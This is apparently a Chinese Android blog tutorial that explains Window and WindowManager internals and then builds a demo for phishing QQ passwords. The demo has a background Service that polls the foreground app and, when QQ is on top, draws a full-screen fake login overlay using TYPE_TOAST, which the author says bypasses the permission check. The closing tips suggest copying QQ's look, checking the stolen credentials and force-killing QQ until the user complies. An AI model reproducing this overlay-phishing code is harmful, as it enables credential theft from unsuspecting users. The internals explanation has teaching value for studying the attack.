通过案例分析Android WindowManager解析与骗取QQ密码的过程

Windows Manager是一款窗口管理终端,可以远程连接到Linux的X桌面进行管理,与服务器端产生一个session相互通信。

最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台Service,检测当前顶部应用,如果为QQ或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):

Window&&WindowManager介绍

  分析demo之前,先要整理总结一下相关的知识。先看看Window类,Window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。连同注释,这个文件总共一千多行,它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow,实例化PhoneWindow需要一个窗口,只需要通过WindowManager即可完成,Window类的具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的,不管是Activity,Dialog还是Toast,他们的视图实际上都是附加在Window上的,因此Window实际上是View的直接管理者,点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型,共有三种类型,分别是应用Window,子Window和系统Window。应用Window对应着一个Activity,类似Dialog之类的子Window不能单独存在,他需要附属在应用Window上才可以,系统Window则不需要,比如Toast之类,可以直接显示。每个Window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 两篇译文博客,很详细。

  再详细分析一下WindowManager,WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单,常用的只有三个方法,即添加View、更新View和删除View,这三个方法定义在ViewManager中,而WindowManager继承了ViewManager,

addView();
updateViewLayout();
removeView();

  这些函数是用来修改Window的,它的真正实现是WindowManagerImpl类,WindowManagerImpl类并没有直接实现Window的三大操作,而是全部交给了WindowManagerGlobal来处理,WindowManagerGlobal以工厂的形式向外提供自己的实例,在WindowManagerGlobal中有如下一段代码:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给WindowManagerGlobal来实现。

  View是Android中视图的呈现方式,但是View不能单独存在,他必须要附着在Window这个抽象的概念上面,每一个Window都对应着一个View和一个ViewRootImpl,Window和View通过ViewRootImpl来建立联系,因此有视图的地方就有Window,比如常见的Activity,Dialog,Toast等。

  对于每个activity只有一个decorView也就是ViewRoot,window是通过下面方法获取的
  Window mWindow = PolicyManager.makeNewWindow(this);

创建完Window之后,Activity会为该Window设置回调,Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数,它是调用 window.setContentView()完成的,而Window的具体实现是PhoneWindow,所以最终的具体操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步会检测DecorView是否存在,如果不存在,就会调用generateDecor函数直接创建一个DecorView;第二步就是将Activity的视图添加到DecorView的mContentParent中;第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后,DecorView还没有被WindowManager正式添加到Window中,最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程,Activity的视图才能被用户看到。

  Dialog的Window的创建过程和Activity类似,第一步也是用过PolicyManager.makeNewWindow方法来创建一个Window,不过这里传入的context必须要为activity的context;第二步也是通过setContentView函数去设置dialog的布局视图;第三步调用show方法,通过WindowManager将DecorView添加到Window中显示出来。

  Toast和Dialog不同,它稍微复杂一点,首先Toast也是基于Window来实现的,但是由于Toast具有定时取消的这一个功能,所以系统采用了Handler。在Toast的内部有两类IPC过程,第一类是Toast访问NotificationManagerService,第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中,最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。

private static INotificationManager sService; static private INotificationManager getService() { if (sService != null) { return sService; } sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification")); return sService; }

该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。

骗取QQ密码实例

  有了上面的基础之后,这个例子其实就非常简单了。

  第一步编写一个Service并且在Service中弹出一个自定义的Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE); WindowManager.LayoutParams params = new WindowManager.LayoutParams(); params.width = WindowManager.LayoutParams.MATCH_PARENT; params.height = WindowManager.LayoutParams.MATCH_PARENT; params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL; params.type = WindowManager.LayoutParams.TYPE_TOAST; params.format = PixelFormat.TRANSPARENT; params.gravity = Gravity.CENTER; params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN; LayoutInflater inflater = LayoutInflater.from(this); v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null); v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() { @Override public void backCallback() { if (v!=null && v.isAttachedToWindow()) L.e("remove view "); windowManager.removeViewImmediate(v); } }); btn_sure = (Button) v.findViewById(R.id.btn_sure); btn_cancel = (Button) v.findViewById(R.id.btn_cancel); et_account = (EditText) v.findViewById(R.id.et_account); et_pwd = (EditText) v.findViewById(R.id.et_pwd); cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd); cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance()); } else { et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance()); } et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ? 0 : et_pwd.getText().length()); } }); //useless // v.setOnKeyListener(new View.OnKeyListener() { // @Override // public boolean onKey(View v, int keyCode, KeyEvent event) { // Log.e("zhao", keyCode+""); // if (keyCode == KeyEvent.KEYCODE_BACK) { // windowManager.removeViewImmediate(v); // return true; // } // return false; // } // }); //点击外部消失 v.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent event) { Rect temp = new Rect(); view.getGlobalVisibleRect(temp); L.e("remove view "); if (temp.contains((int)(event.getX()), (int)(event.getY()))){ windowManager.removeViewImmediate(v); return true; } return false; } }); btn_sure.setOnClickListener(this); btn_cancel.setOnClickListener(this); L.e("add view "); windowManager.addView(v, params);

  这里有几点需要说明一下,第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有Edittext,所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖Window;第三个是返回键的监听,setOnKeyListener是不好用的,最后只能复写view类的dispatchKeyEvent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。

  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是QQ,这个就简单多了,使用ActivityManager就可以了:

new Thread(new Runnable() { @Override public void run() { while (isRunning){ L.e("running"); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> list = activityManager.getRunningAppProcesses(); if (list.get(0).processName.equals("com.tencent.mobileqq")){ myHandler.sendEmptyMessage(1); } } } }).start();

  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:

   1. 修改UI,使之更加的和QQ风格相似。

   2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。

   3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。

以上通过案例分析Android WindowManager解析与骗取QQ密码的过程,希望本文分享对大家有所帮助。

时间: 2024-10-01 20:17:56

通过案例分析Android WindowManager解析与骗取QQ密码的过程的相关文章

通过案例分析Android WindowManager解析与骗取QQ密码的过程_Android

 Windows Manager是一款窗口管理终端,可以远程连接到Linux的X桌面进行管理,与服务器端产生一个session相互通信. 最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台Service,检测当前顶部应用,如果为QQ或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =): Window&&WindowManager介绍 分析demo之前,先要整理总

Android JSON解析库Gson和Fast-json的使用对比和图书列表小案例

Android JSON解析库Gson和Fast-json的使用对比和图书列表小案例 继上篇json解析,我用了原生的json解析,但是在有些情况下我们不得不承认,一些优秀的json解析框架确实十分的好用,今天我们为了博客的保质保量,也就不分开写,我们直接拿比较火的Gson和Fast-json来使用,末尾在进行一些分析 Android JSON原生解析的几种思路,以号码归属地,笑话大全,天气预报为例演示 一.各有千秋 两大解析库的东家都是巨头,一个来自于Google官方,一个来自阿里巴巴,我们这

《深入解析Android 虚拟机》——第1章,第1.2节分析Android源码结构

1.2 分析Android源码结构获得Android源码后,可以将整个源码分为如下3个部分. Core Project:核心工程部分,这是建立Android系统的基础,被保存在根目录的各个文件夹中.External Project:扩展工程部分,可以使其他开源项目具有扩展功能,被保存在"external"文件夹中.Package:包部分,提供了Android的应用程序.内容提供者.输入法和服务,被保存在"package"文件夹中.无论是Android 1.5还是An

《深入解析Android 虚拟机》——1.2 分析Android源码结构

1.2 分析Android源码结构 获得Android源码后,可以将整个源码分为如下3个部分. Core Project:核心工程部分,这是建立Android系统的基础,被保存在根目录的各个文件夹中.External Project:扩展工程部分,可以使其他开源项目具有扩展功能,被保存在"external"文件夹中.Package:包部分,提供了Android的应用程序.内容提供者.输入法和服务,被保存在"package"文件夹中.无论是Android 1.5还是A

《Android应用开发从入门到精通》——第1章,第1.2节Android架构解析

1.2 Android架构解析 Android应用开发从入门到精通 Android系统的底层建立在Linux系统之上,该平台采用一种称为软件叠层(Software Stack)的方式进行构建.这种软件叠层结构使得层与层之间相互分离,明确各层的分工.这种分工是软件工程中常说的低耦合高内聚的设计概念. 1.2.1 Android系统架构图 Android作为一个移动设备的平台,其软件层次结构包括了内核层.中间件和应用程序.下面看看Android的系统架构图,如图1.2所示. 如图1.2所示,Andr

Ajax详解及其案例分析_AJAX相关

1 获得Ajax对象 1.1 问题 如何获得XmlHttpRequest对象. 1.2 方案 区分浏览器,使用不同的获取方式. 1.3 步骤 步骤一: 新建ajax01.html页面 新建一个Web工程,在WebRoot下新建ajax01.html页面.在<script>标记内编写JavaScript代码实现获取Ajax对象. <script type="text/javascript"> /*获取Ajax对象*/ function getXhr(){ var

ORA-04031错误导致宕机案例分析

今天遇到一起ORACLE数据库宕机案例,下面是对这起数据库宕机案例的原因进行分析.解读.分析过程中顺便记录一下这个案例的前因后果,攒点经验值,培养一下分析.解决问题的能力.   案例环境:      操作系统 :Oracle Linux Server release 5.7 64 bit    数据库版本:Oracle Database 10g Release 10.2.0.4.0 - 64bit Production   案例分析: 收到告警去检查数据库时,发现实例已经宕机.检查告警日志,发现

医疗-android上解析dicom文件

问题描述 android上解析dicom文件 android上解析dicom文件的问题, 我们做的是一个医疗项目,有一个观片功能,需要解析dicom,并显示详细信息,还要可测量等.我搞了两天没一点思路,以前从没接触过这方面. 谁知道啊?急求! (新人,没有c币 实在不好意思!) 解决方案 android解析plist文件 解决方案二: discom 是什么 解析??? 解析文件?? 解决方案三: break; 11 case "0002,0013"://文件生成程序的标题 12 ret

案例分析:基于消息的分布式架构

原文:案例分析:基于消息的分布式架构 美国计算机科学家,LaTex的作者Leslie Lamport说:"分布式系统就是这样一个系统,系统中一个你甚至都不知道的计算机出了故障,却可能导致你自己的计算机不可用."一语道破了开发分布式系统的玄机,那就是它的复杂与不可控.所以Martin Fowler强调:分布式调用的第一原则就是不要分布式.这句话看似颇具哲理,然而就企业应用系统而言,只要整个系统在不停地演化,并有多个子系统共同存在时,这条原则就会被迫打破.盖因为在当今的企业应用系统中,很难